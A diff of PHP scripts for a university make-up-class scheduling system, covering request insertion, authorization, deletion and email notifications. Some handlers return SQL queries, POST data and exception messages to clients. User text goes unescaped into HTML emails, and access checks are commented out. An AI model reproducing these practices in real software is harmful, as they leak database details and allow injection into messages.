|
|
||||||
|
} catch (PDOException $th) {
|
||||||
|
http_response_code(500);
|
||||||
|
echo json_encode([
|
||||||
|
'error' => $th->getMessage(),
|
||||||
|
'query' => $db->getLastQuery(),
|
||||||
|
'post_data' => $post_data,
|
||||||
|
], JSON_UNESCAPED_UNICODE | JSON_PRETTY_PRINT);
|
||||||
|
exit;
|
||||||
|
} catch (Exception $th) {
|
||||||
|
http_response_code(500);
|
||||||
|
echo json_encode([
|
||||||
|
'error' => $th->getMessage(),
|
||||||
|
], JSON_UNESCAPED_UNICODE | JSON_PRETTY_PRINT);
|
||||||
|
exit;
|
||||||
|
}
|
||||||
195
action/reposicion_autoriza.php
Normal file
195
action/reposicion_autoriza.php
Normal file
@@ -0,0 +1,195 @@
|
|||||||
|
<?php
|
||||||
|
/*
|
||||||
|
Cambia de estado la reposición
|
||||||
|
*/
|
||||||
|
$pag = "../reposiciones_crear.php";
|
||||||
|
$ruta = "../";
|
||||||
|
require_once "../class/c_login.php";
|
||||||
|
require_once "../class/mailer.php";
|
||||||
|
|
||||||
|
define("COORDINADOR", 9);
|
||||||
|
define("SUPERVISOR", 7);
|
||||||
|
define("ENVIO_CORREOS", true);
|
||||||
|
|
||||||
|
// check if the session is started
|
||||||
|
if (!isset($_SESSION['user']))
|
||||||
|
die('No se ha iniciado sesión');
|
||||||
|
|
||||||
|
$user = unserialize($_SESSION['user']);
|
||||||
|
|
||||||
|
$pag = "../reposiciones_autorizar.php";
|
||||||
|
|
||||||
|
|
||||||
|
if(!isset($_POST["id"]) || !isset($_POST["edo"]) ){
|
||||||
|
header("Location: ".$pag."?error=0");
|
||||||
|
exit();
|
||||||
|
}
|
||||||
|
|
||||||
|
$id_repo = filter_input(INPUT_POST, "id", FILTER_SANITIZE_NUMBER_INT);//limpia texto
|
||||||
|
$edo = filter_input(INPUT_POST, "edo", FILTER_SANITIZE_NUMBER_INT);//limpia texto
|
||||||
|
if(isset($_POST["salon"]) && $_POST["salon"] != "")
|
||||||
|
$salon = filter_input(INPUT_POST, "salon", FILTER_SANITIZE_NUMBER_INT);//limpia texto
|
||||||
|
//--------------
|
||||||
|
|
||||||
|
//--------------
|
||||||
|
//Obtiene datos reposición
|
||||||
|
$reposicion_rs = $db->querySingle('SELECT h.materia, r.fecha_nueva, r.hora_nueva, r.fecha_clase, h.horario_hora, h.facultad_id, h.facultad, f.clave_dependencia, r.motivo_cancelacion, ta.tipoaula_supervisor , ta.tipoaula_nombre
|
||||||
|
from reposicion_solicitud r
|
||||||
|
inner join horario_view h on h.horario_id = r.horario_id
|
||||||
|
inner join facultad f on f.facultad_id = h.facultad_id
|
||||||
|
inner join tipoaula ta on ta.tipoaula_id = r.tipoaula_id
|
||||||
|
where r.reposicion_solicitud_id = :id_repo',
|
||||||
|
[':id_repo' => $id_repo]
|
||||||
|
);
|
||||||
|
|
||||||
|
//Obtiene datos de salón asignado
|
||||||
|
$salon_desc = "Pendiente";
|
||||||
|
if(!empty($salon)){
|
||||||
|
$salon_rs = $db->querySingle('SELECT s.salon_id, s.salon_array FROM salon_view s where s.salon_id = :id_salon',
|
||||||
|
[':id_salon' => $salon]
|
||||||
|
);
|
||||||
|
if($salon_rs["salon_id"] == "" || $salon_rs["salon_id"] == NULL){
|
||||||
|
$salon_desc = "Pendiente";
|
||||||
|
}else{
|
||||||
|
$salon_json = json_decode($salon_rs["salon_array"], true);
|
||||||
|
if($salon_json[0]== "UNIVERSIDAD LA SALLE"){
|
||||||
|
unset($salon_json[0]);
|
||||||
|
}
|
||||||
|
$salon_desc = join(" / ",$salon_json);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
//Obtiene correos
|
||||||
|
$correos_rs = $db->query('SELECT p.profesor_nombre, p.profesor_correo, u.usuario_nombre as jefe_nombre, u.usuario_correo as jefe_correo,
|
||||||
|
coor.usuario_nombre as coordinador_nombre, coor.usuario_correo as coordinador_correo
|
||||||
|
from reposicion_solicitud rs
|
||||||
|
inner join profesor p on rs.profesor_id =p.profesor_id
|
||||||
|
inner join usuario u on u.usuario_id = rs.usuario_id
|
||||||
|
inner join horario_view hv on hv.horario_id = rs.horario_id
|
||||||
|
inner join usuario coor on hv.facultad_id = coor.facultad_id and coor.rol_id = :rol_coord
|
||||||
|
where rs.reposicion_solicitud_id = :id_repo',
|
||||||
|
[':rol_coord' => COORDINADOR, ':id_repo' => $id_repo]
|
||||||
|
);
|
||||||
|
//print_r($correos_rs); exit();
|
||||||
|
|
||||||
|
$prof_correos=array();
|
||||||
|
$jefe_correos=[];
|
||||||
|
$coord_correos=[];
|
||||||
|
|
||||||
|
foreach($correos_rs as $correo){
|
||||||
|
if( count($prof_correos)==0 && $correo["profesor_correo"]!=""){
|
||||||
|
if( !isset($prof_correos["correo"]) || !in_array($correo["profesor_correo"], $prof_correos["correo"]) ){
|
||||||
|
array_push($prof_correos, $correo["profesor_correo"]);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if( count($jefe_correos)==0 && $correo["jefe_correo"]!=""){
|
||||||
|
if(!isset($jefe_correos["correo"]) || !in_array($correo["jefe_correo"], $jefe_correos["correo"])){
|
||||||
|
array_push($jefe_correos, $correo["jefe_correo"]);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if( count($coord_correos)==0 && $correo["coordinador_correo"]!=""){
|
||||||
|
if(!isset($coord_correos["correo"]) || !in_array($correo["coordinador_correo"], $coord_correos["correo"])){
|
||||||
|
array_push($coord_correos, $correo["coordinador_correo"]);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
$correosSup_rs = $db->query("SELECT DISTINCT sup.usuario_correo as supervisor_correo
|
||||||
|
FROM horario_supervisor hs
|
||||||
|
inner join usuario sup on sup.usuario_id =hs.usuario_id
|
||||||
|
where :facultad = ANY(hs.facultad_id_array)",
|
||||||
|
[':facultad'=>$reposicion_rs["facultad_id"]] );
|
||||||
|
|
||||||
|
$sup_correos=[];
|
||||||
|
foreach($correosSup_rs as $correo){
|
||||||
|
array_push($sup_correos, $correo["supervisor_correo"]);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
if($edo == 4){//cancelación
|
||||||
|
$motivo = "";
|
||||||
|
if(isset($_POST["motivo"]) && $_POST["motivo"] != "")
|
||||||
|
$motivo = trim($_POST["motivo"]);
|
||||||
|
$db->querySingle('SELECT fu_reposicion_cancela(:id, :motivo)',
|
||||||
|
[':id' => $id_repo, ':motivo' => $motivo]
|
||||||
|
);
|
||||||
|
}else{
|
||||||
|
if(!empty($salon)){
|
||||||
|
$db->querySingle('SELECT fu_reposicion_solicitud(:id, NULL, NULL, NULL, :sal, :edo, NULL, NULL, NULL, NULL)',
|
||||||
|
[':id' => $id_repo, ':sal' => $salon, ':edo' => $edo]
|
||||||
|
);
|
||||||
|
}else{
|
||||||
|
$db->querySingle('SELECT fu_reposicion_solicitud(:id, NULL, NULL, NULL, NULL, :edo, NULL, NULL, NULL, NULL)',
|
||||||
|
[':id' => $id_repo, ':edo' => $edo]
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
$fecha_clase = date('d/m/Y', strtotime($reposicion_rs["fecha_clase"]));
|
||||||
|
$fecha_nueva = date('d/m/Y', strtotime($reposicion_rs["fecha_nueva"]));
|
||||||
|
$hora_tmp = explode(":",$reposicion_rs["horario_hora"]);
|
||||||
|
$hora_clase = $hora_tmp[0].":".$hora_tmp[1];
|
||||||
|
$hora_tmp = explode(":",$reposicion_rs["hora_nueva"]);
|
||||||
|
$hora_nueva = $hora_tmp[0].":".$hora_tmp[1];
|
||||||
|
|
||||||
|
$asunto = "";
|
||||||
|
$texto = "";
|
||||||
|
$to = "";
|
||||||
|
switch($edo){
|
||||||
|
case 2://Correo a supervisor
|
||||||
|
$asunto = "Reposición nueva - ".$reposicion_rs["clave_dependencia"]." ".$reposicion_rs["facultad"];
|
||||||
|
//crear plantilla
|
||||||
|
$texto = "<p>Se creó una reposición nueva para: <b>".$reposicion_rs["clave_dependencia"]." ".$reposicion_rs["facultad"]."</b>.</p>";
|
||||||
|
$texto .= "<p><b>".mb_strtoupper($reposicion_rs["materia"])."</b> del día <b>".$fecha_clase." a las ".$hora_clase." hrs. </b> se propone reponer el <b>".$fecha_nueva." a las ".$hora_nueva." hrs.</b>";
|
||||||
|
if(!$reposicion_rs["tipoaula_supervisor"]){
|
||||||
|
$texto .= " en el salón: <b>".$salon_desc."</b></p>";
|
||||||
|
}else{
|
||||||
|
$texto .= " en un salón de tipo: <b>".$reposicion_rs["tipoaula_nombre"]."</b></p>";
|
||||||
|
}
|
||||||
|
$texto .= "<p>Ingresa al <a href='https://paad.lci.ulsa.mx'>sistema PAAD</a> para autorizarla.</p>";
|
||||||
|
$to = join(",", $sup_correos);
|
||||||
|
$ok = 0;
|
||||||
|
break;
|
||||||
|
case 3://Correo a coordinador, profesor y jefe
|
||||||
|
$asunto = "Reposición autorizada - ".$reposicion_rs["materia"];
|
||||||
|
$texto = "<p>La resposición de la clase de <b>".$reposicion_rs["materia"]."</b> del día <b>".$fecha_clase." a las ".$hora_clase." hrs. </b> está autorizada para realizarse el día <b>".$fecha_nueva." a las ".$hora_nueva." hrs. en: $salon_desc</b></p>";
|
||||||
|
$to = join(",", $coord_correos).",".join(",", $prof_correos).",".join(",", $jefe_correos);
|
||||||
|
$ok = 0;
|
||||||
|
$db->querySingle('SELECT fu_reposicion_solicitud_supervisor(:id, :sup)',
|
||||||
|
[':id' => $id_repo, ':sup'=>$user->user["id"]]
|
||||||
|
);
|
||||||
|
break;
|
||||||
|
case 4://Correo a coordinador, profesor y jefe
|
||||||
|
$asunto = "Reposición declinada - ".$reposicion_rs["materia"];
|
||||||
|
$texto = "<p>La resposición de la clase de <b>".$reposicion_rs["materia"]." planeada para el día ".$fecha_nueva." a las ".$hora_nueva." hrs.</b> ha sido declinada por el siguiente motivo:</p>";
|
||||||
|
$texto .= "<p style='font-style:italic; padding-left:25px'>".$motivo."</p>";
|
||||||
|
$to = join(",", $coord_correos).",".join(",", $prof_correos).",".join(",", $jefe_correos);
|
||||||
|
$ok = 1;
|
||||||
|
$db->querySingle('SELECT fu_reposicion_solicitud_supervisor(:id, :sup)',
|
||||||
|
[':id' => $id_repo, ':sup'=>$user->user["id"]]
|
||||||
|
);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
if($to!= "" && ENVIO_CORREOS){
|
||||||
|
$texto = '<body >
|
||||||
|
<img src="https://paad.lci.ulsa.mx/imagenes/logo_lasalle.png" alt="La Salle" style="margin-bottom:60px">
|
||||||
|
'.$texto.'
|
||||||
|
</body>';
|
||||||
|
|
||||||
|
require_once('../include/phpmailer/PHPMailerAutoload.php');
|
||||||
|
if($_ENV['DB_NAME'] == "paad_pruebas"){
|
||||||
|
$asunto = "PRUEBAS-".$asunto;
|
||||||
|
Mailer::enviarCorreo("alejandro.lara@lasalle.mx", $asunto, $texto, true);
|
||||||
|
}else{
|
||||||
|
Mailer::enviarCorreo($to, $asunto, $texto, true);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
$log->appendLog($_SESSION["usuario_id"], $_SESSION["usuario_nombre"]." ".$_SESSION["usuario_apellidos"], $desc_log);
|
||||||
|
*/
|
||||||
|
header("Location: ".$pag."?ok=".$ok);
|
||||||
|
exit();
|
||||||
|
?>
|
||||||
33
action/reposicion_delete.php
Normal file
33
action/reposicion_delete.php
Normal file
@@ -0,0 +1,33 @@
|
|||||||
|
<?php
|
||||||
|
/*
|
||||||
|
* Borra reposición
|
||||||
|
*/
|
||||||
|
$pag = "../reposiciones_crear.php";
|
||||||
|
$ruta = "../";
|
||||||
|
require_once "../class/c_login.php";
|
||||||
|
|
||||||
|
// check if the session is started
|
||||||
|
if (!isset($_SESSION['user']))
|
||||||
|
die('No se ha iniciado sesión');
|
||||||
|
|
||||||
|
$user = unserialize($_SESSION['user']);
|
||||||
|
|
||||||
|
//--- Objeto para validar usuario. El id de usuario lo lee desde sesión
|
||||||
|
if(!isset($_POST["id"])){
|
||||||
|
$return["error"] = "Error! No se recibió la información necesaria.";
|
||||||
|
}else{
|
||||||
|
$id = filter_input(INPUT_POST, "id", FILTER_SANITIZE_NUMBER_INT);//limpia texto
|
||||||
|
$creador = $user->user["id"];
|
||||||
|
|
||||||
|
try{
|
||||||
|
$db->query('SELECT * from fd_reposicion_solicitud(:id, :creador)', [":id"=> $id, ":creador"=>$creador]);
|
||||||
|
$return["ok"] = "La reposición se borró correctamente";
|
||||||
|
|
||||||
|
}catch(Exception $e){
|
||||||
|
$return["error"] = "Ocurrió un error al borrar la reposición.";
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
}
|
||||||
|
echo json_encode($return);
|
||||||
|
?>
|
||||||
208
action/reposicion_insert.php
Normal file
208
action/reposicion_insert.php
Normal file
@@ -0,0 +1,208 @@
|
|||||||
|
<?php
|
||||||
|
/*
|
||||||
|
* Inserta reposición
|
||||||
|
*/
|
||||||
|
$pag = "../reposiciones_crear.php";
|
||||||
|
$ruta = "../";
|
||||||
|
require_once "../class/c_login.php";
|
||||||
|
require_once "../class/mailer.php";
|
||||||
|
|
||||||
|
define("COORDINADOR", 9);
|
||||||
|
define("ENVIO_CORREOS", true);
|
||||||
|
|
||||||
|
// check if the session is started
|
||||||
|
if (!isset($_SESSION['user']))
|
||||||
|
die('No se ha iniciado sesión');
|
||||||
|
|
||||||
|
$user = unserialize($_SESSION['user']);
|
||||||
|
//$user->access();
|
||||||
|
|
||||||
|
$duracion_id = filter_input(INPUT_POST, "duracion", FILTER_SANITIZE_NUMBER_INT);//Id reposicion
|
||||||
|
$bloque = filter_input(INPUT_POST, "bloque", FILTER_SANITIZE_NUMBER_INT);//
|
||||||
|
$ciclo = filter_input(INPUT_POST, "ciclo", FILTER_SANITIZE_NUMBER_INT);//
|
||||||
|
$fecha_falta = trim(htmlspecialchars($_POST["fecha_falta"], ENT_QUOTES, "UTF-8"));//Reposicion
|
||||||
|
$fecha = trim(htmlspecialchars($_POST["fecha_inicial"], ENT_QUOTES, "UTF-8"));//Reposicion
|
||||||
|
$fecha_cambio = trim(htmlspecialchars($_POST["fecha_cambio"], ENT_QUOTES, "UTF-8"));//Cambio salón
|
||||||
|
$hora_ini = filter_input(INPUT_POST, "hora_ini", FILTER_SANITIZE_NUMBER_INT);//limpia texto hora reposicion
|
||||||
|
$min_ini = filter_input(INPUT_POST, "min_ini", FILTER_SANITIZE_NUMBER_INT);//limpia texto
|
||||||
|
$hor = filter_input(INPUT_POST, "horario", FILTER_SANITIZE_NUMBER_INT);//limpia texto
|
||||||
|
$alumnos = filter_input(INPUT_POST, "alumnos", FILTER_SANITIZE_NUMBER_INT);//limpia texto
|
||||||
|
$tipo = filter_input(INPUT_POST, "tipo", FILTER_SANITIZE_NUMBER_INT);//1 Repo , 0 Cambio
|
||||||
|
$aula = filter_input(INPUT_POST, "aula", FILTER_SANITIZE_NUMBER_INT);//1 regular , 2 sala computo, 3 otro facultad
|
||||||
|
$salon = NULL;
|
||||||
|
|
||||||
|
if(!$user->jefe_carrera){//coordinador
|
||||||
|
if(isset($_POST["salon"]) && $_POST["salon"] != "")
|
||||||
|
$salon = filter_input(INPUT_POST, "dlSalon", FILTER_SANITIZE_NUMBER_INT);//1 regular , 2 sala computo, 3 otro facultad
|
||||||
|
}
|
||||||
|
|
||||||
|
if(empty($_POST["prof"]))
|
||||||
|
$prof = $user->user["id"];
|
||||||
|
else
|
||||||
|
$prof = filter_input(INPUT_POST, "prof", FILTER_SANITIZE_NUMBER_INT);//limpia texto
|
||||||
|
|
||||||
|
$comentario = trim(htmlspecialchars($_POST["comentario"], ENT_QUOTES, "UTF-8"));//limpia texto
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
$duracion_rs = $db->querySingle("select * from duracion where duracion_id = :id", [":id"=>$duracion_id]);
|
||||||
|
$duracion_tiempo = $duracion_rs["duracion_interval"];
|
||||||
|
|
||||||
|
//-- Obtiene datos de horario regular de clase
|
||||||
|
$horario_rs = $db->querySingle('SELECT * from horario_view where horario_id = :hor',
|
||||||
|
[':hor' => $hor]
|
||||||
|
);
|
||||||
|
|
||||||
|
$materia = $horario_rs["materia_id"];
|
||||||
|
$dia = $horario_rs["horario_dia"];
|
||||||
|
|
||||||
|
$hora = $hora_ini.":".$min_ini.":00";
|
||||||
|
|
||||||
|
|
||||||
|
if($tipo == 1){//Reposición
|
||||||
|
$fecha_new = DateTime::createFromFormat('d/m/Y', $fecha)->format('Y-m-d')." ".$hora;
|
||||||
|
$fecha_fin_new = date("Y-m-d", strtotime($fecha_new))." ".$duracion_tiempo;
|
||||||
|
$dia_new = date('w', strtotime($fecha_new));
|
||||||
|
|
||||||
|
$fecha_falta = DateTime::createFromFormat('d/m/Y', $fecha_falta)->format('Y-m-d');
|
||||||
|
$dia_falta = date('w', strtotime($fecha_falta));
|
||||||
|
}else{
|
||||||
|
$fecha_cambio = DateTime::createFromFormat('d/m/Y', $fecha_cambio)->format('Y-m-d');
|
||||||
|
$dia_falta = date('w', strtotime($fecha_cambio));
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
//Valida que tenga clase en la fecha de falta
|
||||||
|
if(intval($dia) != intval($dia_falta)){
|
||||||
|
header("Location:".$pag."?error=11");
|
||||||
|
/*print_r($_POST);
|
||||||
|
echo 'SELECT * from horario_view where horario_id = '.$hor;
|
||||||
|
echo intval($dia)." != ".intval($dia_falta);*/
|
||||||
|
exit();
|
||||||
|
}
|
||||||
|
|
||||||
|
//Obtiene materia
|
||||||
|
$materia_rs = $db->querySingle('SELECT materia_nombre from materia where materia_id = :mat',[':mat' => $materia]);
|
||||||
|
|
||||||
|
//Obtiene correo
|
||||||
|
$correos_rs = $db->querySingle('SELECT coor.usuario_correo, coor.usuario_nombre from usuario coor where rol_id = :rol_coord and facultad_id = (
|
||||||
|
select coalesce(facultad_id,0) from usuario u where u.usuario_id = :id_usr) and coor.usuario_correo != \'\'',[':rol_coord' => COORDINADOR, ':id_usr' => $user->user["id"]]
|
||||||
|
);
|
||||||
|
if( count($correos_rs) > 0 ){
|
||||||
|
$to = $correos_rs["usuario_correo"];
|
||||||
|
}
|
||||||
|
|
||||||
|
if($tipo == 1){//Reposición
|
||||||
|
// Valida que grupo no tenga clases
|
||||||
|
/*$result = validaConflictoHoras($pdo, $gpo, $dia_new, $hora, $materia, "-", $fecha_new, $fecha_fin_new, $duracion);
|
||||||
|
if($result != ""){//error
|
||||||
|
//echo $result;
|
||||||
|
header("Location:".$pag."?error=7");
|
||||||
|
exit();
|
||||||
|
}
|
||||||
|
*/
|
||||||
|
//Valida que profesor no este en 2 reposiciones al mismo tiempo en la fecha nueva
|
||||||
|
|
||||||
|
$traslape = $db->querySingle('SELECT * from traslape_profesor_reposicion(:prof, :fecha, :hora, :dur)',
|
||||||
|
[':prof' => $prof, ':fecha'=>DateTime::createFromFormat('d/m/Y', $fecha)->format('Y-m-d'), ':hora'=>$hora, ':dur'=>$duracion_tiempo]
|
||||||
|
)["traslape_profesor_reposicion"];
|
||||||
|
if($traslape){
|
||||||
|
//print_r($_POST);
|
||||||
|
//echo "SELECT * from traslape_profesor_reposicion($prof,'".DateTime::createFromFormat('d/m/Y', $fecha)->format('Y-m-d')."' , '$hora', $duracion)";
|
||||||
|
|
||||||
|
header("Location:".$pag."?error=9");
|
||||||
|
exit();
|
||||||
|
}
|
||||||
|
|
||||||
|
try{
|
||||||
|
if($user->jefe_carrera){//jefe
|
||||||
|
$db->query('SELECT * from fi_reposicion_solicitud(:f_falta, :f_nueva, :hora_nueva, :hor, :prof, 1, :desc, :alumnos, true, :aula, :duracion, :usr, :bloque, :ciclo)',
|
||||||
|
[':f_falta' => $fecha_falta, ':f_nueva' => $fecha_new, ':hora_nueva' => $hora, ':hor' => $hor,
|
||||||
|
':prof' => $prof, ':desc' => $comentario, ':alumnos' => $alumnos, ':aula' => $aula, ':duracion' => $duracion_tiempo, ':usr'=>$user->user["id"],
|
||||||
|
':bloque' => $bloque, ':ciclo' => $ciclo
|
||||||
|
]
|
||||||
|
);
|
||||||
|
|
||||||
|
}else{//coordinador
|
||||||
|
echo 'SELECT * from fi_reposicion_solicitud(:f_falta, :f_nueva, :hora_nueva, :hor, :prof, 2, :desc, :alumnos, true, :aula, :duracion, :usr, :bloque, :ciclo, '.$salon.')';
|
||||||
|
$db->query('SELECT * from fi_reposicion_solicitud(:f_falta, :f_nueva, :hora_nueva, :hor, :prof, 2, :desc, :alumnos, true, :aula, :duracion, :usr, :bloque, :ciclo, :salon)',
|
||||||
|
[':f_falta' => $fecha_falta, ':f_nueva' => $fecha_new, ':hora_nueva' => $hora, ':hor' => $hor,
|
||||||
|
':prof' => $prof, ':desc' => $comentario, ':alumnos' => $alumnos, ':aula' => $aula, ':duracion' => $duracion_tiempo, ':usr'=>$user->user["id"],
|
||||||
|
':bloque' => $bloque, ':ciclo' => $ciclo, ':salon'=>$salon
|
||||||
|
]
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}catch(Exception $e){
|
||||||
|
|
||||||
|
echo "ERROR Reposición<br>".$e->getMessage();
|
||||||
|
//header("Location: ".$pag."?error=1");
|
||||||
|
exit();
|
||||||
|
}
|
||||||
|
$fecha_clase = date('d/m/Y', strtotime($fecha_falta));
|
||||||
|
$fecha_nueva = date('d/m/Y', strtotime($fecha_new));
|
||||||
|
$texto = "<p>Se creó una reposición nueva.</p>";
|
||||||
|
$texto .= "<p><b>".mb_strtoupper($materia_rs["materia_nombre"])."</b> del día <b>".$fecha_clase." a las ".$horario_rs["horario_hora"]." hrs. </b> se propone reponer el <b>".$fecha_nueva." a las ".$hora." hrs.</b>";
|
||||||
|
$texto .= "<p>Ingresa al <a href='https://paad.lci.ulsa.mx'>sistema PAAD</a> para autorizarla.</p>";
|
||||||
|
|
||||||
|
/*
|
||||||
|
$log = new LogActividad();
|
||||||
|
$desc_log = "Inserta reposición nueva ID[".$rs["fi_reposicion"]."] Fechas[".$fecha_falta.">".$fecha_new."] Periodo[".$_SESSION["periodo_id"]."] Materia[".$materia."] Profesor[".$prof."] Salon[".$salon."] Horario[".$hor."] Alumnos[".$alumnos."]";
|
||||||
|
$log->appendLog($_SESSION["usuario_id"], $_SESSION["usuario_nombre"]." ".$_SESSION["usuario_apellidos"], $desc_log);*/
|
||||||
|
|
||||||
|
|
||||||
|
}else{//Cambio salón / hora
|
||||||
|
|
||||||
|
try{
|
||||||
|
if($user->jefe_carrera){//jefe
|
||||||
|
$db->query('SELECT * from fi_reposicion_solicitud(:f_falta, :f_nueva, :hora_nueva, :hor, :prof, 1, :desc, :alumnos, false, :aula, :duracion, :usr, :bloque, :ciclo)',
|
||||||
|
[':f_falta' => $fecha_cambio, ':f_nueva' => $fecha_cambio, ':hora_nueva' => $hora, ':hor' => $hor,
|
||||||
|
':prof' => $prof, ':desc' => $comentario, ':alumnos' => $alumnos, ':aula' => $aula, ':duracion' => $duracion_tiempo, ':usr'=>$user->user["id"],
|
||||||
|
':bloque' => $bloque, ':ciclo' => $ciclo
|
||||||
|
]
|
||||||
|
);
|
||||||
|
}else{//coordinador
|
||||||
|
$db->query('SELECT * from fi_reposicion_solicitud(:f_falta, :f_nueva, :hora_nueva, :hor, :prof, 2, :desc, :alumnos, false, :aula, :duracion, :usr, :bloque, :ciclo, :salon)',
|
||||||
|
[':f_falta' => $fecha_cambio, ':f_nueva' => $fecha_cambio, ':hora_nueva' => $hora, ':hor' => $hor,
|
||||||
|
':prof' => $prof, ':desc' => $comentario, ':alumnos' => $alumnos, ':aula' => $aula, ':duracion' => $duracion_tiempo, ':usr'=>$user->user["id"],
|
||||||
|
':bloque' => $bloque, ':ciclo' => $ciclo, ':salon'=>$salon
|
||||||
|
]
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}catch(Exception $e){
|
||||||
|
echo "ERROR Cambio<br>".$e->getMessage();
|
||||||
|
//header("Location: ".$pag."?error=1");
|
||||||
|
exit();
|
||||||
|
}
|
||||||
|
$texto = "<p>Se creó un cambio de salón nuevo.</p>";
|
||||||
|
$texto .= "<p><b>".mb_strtoupper($materia_rs["materia_nombre"])."</b> del día <b>".$fecha_falta." a las ".$hora." hrs. </b> se propone reponer el <b>".$fecha_nueva." a las ".$hora." hrs.</b>";
|
||||||
|
$texto .= "<p>Ingresa al <a href='https://paad.lci.ulsa.mx'>sistema PAAD</a> para autorizarlo.</p>";
|
||||||
|
|
||||||
|
/*
|
||||||
|
$log = new LogActividad();
|
||||||
|
$desc_log = "Inserta reposición nueva ID[".$rs["fi_reposicion"]."] Fechas[".$fecha_cambio.">".$fecha_cambio_nueva."] Periodo[".$_SESSION["periodo_id"]."] Materia[".$materia."] Profesor[".$prof."] Salon[".$salon."] Horario[".$hor."] Alumnos[".$alumnos."]";
|
||||||
|
$log->appendLog($_SESSION["usuario_id"], $_SESSION["usuario_nombre"]." ".$_SESSION["usuario_apellidos"], $desc_log);
|
||||||
|
*/
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
if($to!= "" && ENVIO_CORREOS){
|
||||||
|
$asunto = "Reposición nueva - solicitud";
|
||||||
|
//crear plantilla
|
||||||
|
$texto = '<body >
|
||||||
|
<img src="https://paad.lci.ulsa.mx/imagenes/logo_lasalle.png" alt="La Salle" style="margin-bottom:60px">
|
||||||
|
'.$texto.'
|
||||||
|
</body>';
|
||||||
|
|
||||||
|
require_once('../include/phpmailer/PHPMailerAutoload.php');
|
||||||
|
if($_ENV['DB_NAME'] == "paad_pruebas"){
|
||||||
|
$asunto = "PRUEBAS-".$asunto;
|
||||||
|
Mailer::enviarCorreo("alejandro.lara@lasalle.mx", $asunto, $texto, true);
|
||||||
|
}else{
|
||||||
|
Mailer::enviarCorreo($to, $asunto, $texto, true);
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
header("Location: ".$pag."?ok=0");
|
||||||
|
exit();
|
||||||
|
?>
|
||||||
45
action/reposicion_profesor_materias.php
Normal file
45
action/reposicion_profesor_materias.php
Normal file
@@ -0,0 +1,45 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Obtiene datos de reposición
|
||||||
|
*/
|
||||||
|
$ruta = "../";
|
||||||
|
require_once "../class/c_login.php";
|
||||||
|
|
||||||
|
// check if the session is started
|
||||||
|
if (!isset($_SESSION['user']))
|
||||||
|
die('No se ha iniciado sesión');
|
||||||
|
|
||||||
|
$user = unserialize($_SESSION['user']);
|
||||||
|
|
||||||
|
|
||||||
|
//--- Objeto para validar usuario. El id de usuario lo lee desde sesión
|
||||||
|
/*if(!$objSesion->tieneAcceso()){
|
||||||
|
$return["error"] = "Error! No tienes permisos para realizar esta acción.";
|
||||||
|
}else*/ if(!isset($_POST["id"])){
|
||||||
|
$return["error"] = "Error! No se recibió la información del profesor.";
|
||||||
|
}else{
|
||||||
|
$id = filter_input(INPUT_POST, "id", FILTER_SANITIZE_NUMBER_INT);//limpia texto
|
||||||
|
|
||||||
|
try{
|
||||||
|
$rs = $db->query('SELECT * FROM fs_materiasprofesor(:id, :jefe)', [':id' => $id, ':jefe'=>$user->user["id"]] );
|
||||||
|
|
||||||
|
}catch(Exception $e){
|
||||||
|
$return["error"] = "Ocurrió un error al leer los datos de las materias.";
|
||||||
|
echo json_encode($return);
|
||||||
|
}
|
||||||
|
|
||||||
|
$mat_arr = array();
|
||||||
|
foreach($rs as $m){
|
||||||
|
$mat_arr[] = array("horario_id"=>$m["horario_id"], "horario_dia"=>$m["horario_dia"],
|
||||||
|
"horario_hora"=>substr($m["horario_hora"], 0, 2), "horario_min"=>substr($m["horario_hora"], 3, 2),
|
||||||
|
"materia_nombre"=>$m["materia_nombre"].' - '.$m["horario_dia_nombre"]." ".substr($m["horario_hora"], 0, -3),
|
||||||
|
"grupo"=>$m["horario_grupo"], "duracion" => $m["duracion"]
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
$return["materias"] = $mat_arr;
|
||||||
|
|
||||||
|
}
|
||||||
|
echo json_encode($return);
|
||||||
|
?>
|
||||||
87
action/reposicion_select.php
Normal file
87
action/reposicion_select.php
Normal file
@@ -0,0 +1,87 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Obtiene datos de reposición
|
||||||
|
*/
|
||||||
|
$ruta = "../";
|
||||||
|
require_once "../class/c_login.php";
|
||||||
|
|
||||||
|
// check if the session is started
|
||||||
|
if (!isset($_SESSION['user']))
|
||||||
|
die('No se ha iniciado sesión');
|
||||||
|
|
||||||
|
$user = unserialize($_SESSION['user']);
|
||||||
|
|
||||||
|
|
||||||
|
//--- Objeto para validar usuario. El id de usuario lo lee desde sesión
|
||||||
|
/*if(!$objSesion->tieneAcceso()){
|
||||||
|
$return["error"] = "Error! No tienes permisos para realizar esta acción.";
|
||||||
|
}else*/ if(!isset($_POST["id"])){
|
||||||
|
$return["error"] = "Error! No se recibió la información de la reposición.";
|
||||||
|
}else{
|
||||||
|
$id = filter_input(INPUT_POST, "id", FILTER_SANITIZE_NUMBER_INT);//limpia texto
|
||||||
|
|
||||||
|
|
||||||
|
try{
|
||||||
|
if($user->rol["rol_id"] == 7){//es supervisor
|
||||||
|
$rs = $db->querySingle('SELECT * from fs_reposicion_solicitud(:id, NULL, NULL, NULL, NULL, NULL, NULL, NULL, :sup)',
|
||||||
|
[':id' => $id, ':sup'=>$user->user["id"]]
|
||||||
|
);
|
||||||
|
}else{//coordinador
|
||||||
|
